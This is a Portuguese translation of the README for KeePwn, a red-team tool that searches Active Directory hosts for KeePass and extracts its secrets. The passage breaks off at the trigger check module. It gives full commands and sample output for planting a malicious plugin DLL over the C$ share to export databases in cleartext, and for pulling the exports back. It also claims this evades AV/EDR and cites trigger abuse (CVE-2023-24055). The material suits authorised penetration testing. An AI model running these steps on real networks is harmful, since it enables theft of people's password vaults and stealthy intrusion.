
Uma ferramenta Python para automatizar a descoberta e extração de segredos do KeePass.

Um script Python para ajudar red teamers a descobrir instâncias do KeePass e extrair segredos.
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help
Ou se não quiser instalar, apenas executar em um virtualenv:
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 KeePwn.py --help
O módulo search do KeePwn é usado para identificar hosts que executam o KeePass no seu ambiente alvo:
$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt
[*] Iniciando pesquisa remota de KeePass com 5 threads
[PC01.COMPANY.LOCAL] Nenhum arquivo relacionado ao KeePass encontrado
[PC02.COMPANY.LOCAL] Nenhum arquivo relacionado ao KeePass encontrado
[PC03.COMPANY.LOCAL] Encontrado '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Versão: 2.57.1, ÚltimaVerificaçãoDeAtualização: há 48 minutos)
[PC03.COMPANY.LOCAL] Encontrado '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] Nenhum arquivo relacionado ao KeePass encontrado
[PC05.COMPANY.LOCAL] Nenhum arquivo relacionado ao KeePass encontrado
Ele utiliza o compartilhamento C$ integrado do Active Directory para procurar arquivos relacionados ao KeePass em locais padrão, exigindo, portanto, privilégios de administrador nos alvos.
O módulo primeiro procurará pelo arquivo de configuração KeePass.config.xml na pasta %APPDATA%\KeePass de cada usuário, bem como KeePass.exe no seu caminho de instalação padrão (C:\Program Files\KeePass Password Safe 2). Se um arquivo de configuração for encontrado, mas o KeePass não estiver instalado globalmente, o KeePwn procurará por instalações portáteis até --max-depth subpastas.
Esta técnica básica de busca deve ser suficiente para determinar com precisão se o KeePass é usado em uma estação de trabalho ou não. Além disso, a opção --get-process usará a implementação RPC do Impacket para determinar se o KeePass está atualmente em execução no alvo.
Também estão incluídas várias opções de qualidade de vida para exportar os resultados da pesquisa para um arquivo CSV, exibir apenas alvos onde o KeePass foi encontrado e ajustar o número de threads paralelas:
$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv
[*] Iniciando pesquisa remota de KeePass com 4 threads
[PC03.COMPANY.LOCAL] Encontrado '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Versão: 2.57.1, ÚltimaVerificaçãoDeAtualização: há 48 minutos)
[PC03.COMPANY.LOCAL] Encontrado '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Encontrado processo KeePass.exe em execução (Usuário: COMPANY\jdoe, PID: 3820)
[+] Resultados da pesquisa registrados em keepwn_out.csv
O KeePass possui um framework de plugins que pode ser abusado para carregar DLLs maliciosas no processo do KeePass, permitindo que atacantes com direitos de administrador exportem facilmente o banco de dados (veja: KeeFarceRebornPlugin).
O módulo plugin do KeePwn permite:
Listar plugins atualmente instalados e enumerar o cache de plugins
$ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] Nenhum caminho especificado, procurando em locais padrão..
[*] Encontrado dbBackup.plgx na pasta '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[*] Encontrado pDhkzWQYiobXhtBEEnbo na pasta '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
Adicionar e remover seus plugins maliciosos
$ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll
[*] Nenhum caminho especificado, procurando em locais padrão..
[*] Encontrado diretório de Plugins do KeePass '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[!] Prestes a adicionar KeeFarceRebornPlugin.dll ao diretório de Plugins do KeePass, deseja continuar? [s/n]
> s
[+] Plugin adicionado com sucesso ao KeePass, aguarde a próxima reinicialização, faça polling e aproveite!
Fazer polling de %APPDATA% para exportações e movê-las automaticamente do host remoto para o sistema de arquivos local
$ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] Fazendo polling pela exportação do banco de dados a cada 5 segundos.. pressione CTRL+C para abortar. CONCLUÍDO
[+] Encontrada exportação em texto claro '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Exportação remota movida para ./export.xml
Estas ações são realizadas através do acesso ao compartilhamento SMB C$, limitando a detecção por AV/EDR, pois nenhuma execução de comando é realizada.
Conforme descrito no blog post de @harmj0y (e posteriormente CVE-2023-24055), o sistema de triggers do KeePass pode ser abusado para exportar o banco de dados em texto claro.
O módulo trigger do KeePwn permite:
Verificar se um trigger malicioso chamado "export" está atualmente escrito na configuração do KeePass
$ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL